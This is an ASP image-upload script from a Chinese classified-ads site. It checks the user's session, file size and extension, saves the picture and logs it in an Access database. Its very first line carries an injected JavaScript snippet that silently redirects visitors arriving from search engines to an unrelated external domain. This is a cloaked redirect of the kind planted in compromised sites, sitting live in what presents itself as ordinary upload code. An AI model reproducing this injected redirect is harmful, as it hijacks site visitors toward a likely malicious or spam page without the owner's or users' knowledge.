d:\wwwroot\wuchunhua\Upfile_Photo.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="setup.asp"-->
002:
<!--#include file="upfile_class.asp"-->
003:
<%
004:
dim db,connstr
005:
db="#data.asp"
006:
set Conn = server.CreateObject("ADODB.Connection")
007:
connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& server.MapPath("data/"&db&"")
008:
conn.Open connstr
009:
010:
011:
const upload_type=0 '上传方法:0=无惧无组件上传类,1=FSO上传 2=lyfupload,3=aspupload,4=chinaaspupload
012:
Const MaxFileSize=100 '上传文件大小限制
013:
Const SaveUpFilesPath="adpic" '存放上传文件的目录
014:
Const UpFileType="gif|jpg|bmp" '允许的上传文件类型
015:
dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize
016:
dim EnableUpload
017:
dim arrUpFileType
018:
dim ranNum
019:
dim msg,FoundErr
020:
dim PhotoUrlID
021:
msg=""
022:
FoundErr=false
023:
EnableUpload=false
024:
id=request("id")
025:
%
>
026:
<html>
027:
<head>
028:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
029:
<style type="text/css">
030:
<!--
031:
BODY{
032:
BACKGROUND-COLOR: #E1F4EE;
033:
font-size:9pt
034:
}
035:
.tx1 { height: 20px;font-size: 9pt; border: 1px solid; border-color: #000000; color: #0000FF}
036:
-->
037:
</style>
038:
</head>
039:
<body leftmargin="2" topmargin="5" marginwidth="0" marginheight="0" >
040:
<%
041:
if EnableUploadFile="No" then
042:
response.write "系统未开放文件上传功能"
043:
else
044:
if session("china_uid")="" and session("china_cityadmin")="" and session("china_admin")="" then
045:
response.Write("请登录后再使用本功能!")
046:
else
047:
select case upload_type
048:
case 0
049:
call upload_0() '使用化境无组件上传类
050:
case else
051:
'response.write "本系统未开放插件功能"
052:
'response.end
053:
end select
054:
end if
055:
end if
056:
%
>
057:
</body>
058:
</html>
059:
<%
060:
sub upload_0() '使用化境无组件上传类
061:
set upload=new upfile_class ''建立上传对象
062:
upload.GetData(104857600) '取得上传数据,限制最大上传100M
063:
if upload.err > 0 then '如果出错
064:
select case upload.err
065:
case 1
066:
response.write "请先选择你要上传的文件!"
067:
case 2
068:
response.write "你上传的文件总大小超出了最大限制(100M)"
069:
end select
070:
response.end
071:
end if
072:
PhotoUrlID=Clng(trim(upload.form("PhotoUrlID")))
073:
if PhotoUrlID>0 then
074:
SavePath = SaveUpFilesPath '存放上传文件的目录
075:
else
076:
SavePath = SaveUpFilesPath '存放上传文件的目录
077:
end if
078:
if right(SavePath,1)<>"/" then SavePath=SavePath&"/" '在目录后加(/)
079:
set rs=Server.CreateObject("adodb.recordset")
080:
rs.Open "select * from upfile",conn,1,3
081:
for each formName in upload.file '列出所有上传了的文件
082:
set ofile=upload.file(formName) '生成一个文件对象
083:
oFileSize=ofile.filesize
084:
if oFileSize<100 then
085:
msg="请先选择你要上传的文件!"
086:
FoundErr=True
087:
else
088:
select case PhotoUrlID
089:
case 0
090:
if oFileSize>(MaxFileSize*1024) then
091:
msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"
092:
FoundErr=true
093:
end if
094:
case 1
095:
if oFileSize>(10000*1024) then
096:
msg="文件大小超过了限制,最大只能上传10M的文件!"
097:
FoundErr=true
098:
end if
099:
end select
100:
end if
101:
102:
fileExt=lcase(ofile.FileExt)
103:
arrUpFileType=split(UpFileType,"|")
104:
for i=0 to ubound(arrUpFileType)
105:
if fileEXT=trim(arrUpFileType(i)) then
106:
EnableUpload=true
107:
exit for
108:
end if
109:
next
110:
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
111:
EnableUpload=false
112:
end if
113:
if EnableUpload=false then
114:
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
115:
FoundErr=true
116:
end if
117:
118:
119:
strJS="<SCRIPT language=javascript>" & vbcrlf
120:
if FoundErr<>true then
121:
randomize
122:
ranNum=int(900*rnd)+100
123:
picname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
124:
filename=SavePath&picname
125:
126:
ofile.SaveToFile Server.mappath(FileName) '保存文件
127:
rs.AddNew
128:
rs("filename")=picname
129:
rs("username")=session("china_uid")
130:
rs.Update
131:
response.write "文件上传成功!文件大小为:" & cstr(round(oFileSize/1024)) & "K"
132:
select case PhotoUrlID
133:
case 0
134:
strJS=strJS & "parent.document.postart.dpic.value='" & picname & "';" & vbcrlf
135:
'strJS=strJS & "parent.document.myform.PhotoSize1.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
136:
case 1
137:
strJS=strJS & "parent.document.myform.DownloadUrl.value='" & fileName & "';" & vbcrlf
138:
strJS=strJS & "parent.document.myform.FileSize.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
139:
case 2
140:
response.redirect "admin/link_img.asp?id="&id&"&web="&picname
141:
'strJS=strJS & "parent.document.myform.PhotoUrl2.value='" & fileName & "';" & vbcrlf
142:
'strJS=strJS & "parent.document.myform.PhotoSize2.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
143:
case 3
144:
strJS=strJS & "parent.document.myform.CompVisualize.value='" & fileName & "';" & vbcrlf
145:
' strJS=strJS & "parent.document.myform.PhotoSize3.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
146:
case 4
147:
strJS=strJS & "parent.document.myform.PhotoUrl4.value='" & fileName & "';" & vbcrlf
148:
'strJS=strJS & "parent.document.myform.PhotoSize4.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
149:
case 5
150:
strJS=strJS & "parent.document.myform.CompHonor.value='" & fileName & "';" & vbcrlf
151:
' strJS=strJS & "parent.document.myform.PhotoSize5.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
152:
case 6
153:
strJS=strJS & "parent.document.myform.DefaultPicUrl.value='" & fileName & "';" & vbcrlf
154:
'strJS=strJS & "parent.document.myform.PhotoSize6.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
155:
case 7
156:
strJS=strJS & "parent.document.myform.MovieAddr.value='" & fileName & "';" & vbcrlf
157:
'strJS=strJS & "parent.document.myform.PhotoSize6.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
158:
end select
159:
else
160:
strJS=strJS & "alert('" & msg & "');" & vbcrlf
161:
strJS=strJS & "history.go(-1);" & vbcrlf
162:
end if
163:
strJS=strJS & "</script>" & vbcrlf
164:
response.write strJS
165:
if PhotoUrlID=1 then
166:
response.redirect "admin/ad.asp?id="&id&"&picname="&picname
167:
end if
168:
set file=nothing
169:
next
170:
rs.close
171:
set rs=nothing
172:
set upload=nothing
173:
end sub
174:
%
>
175:
176:
177: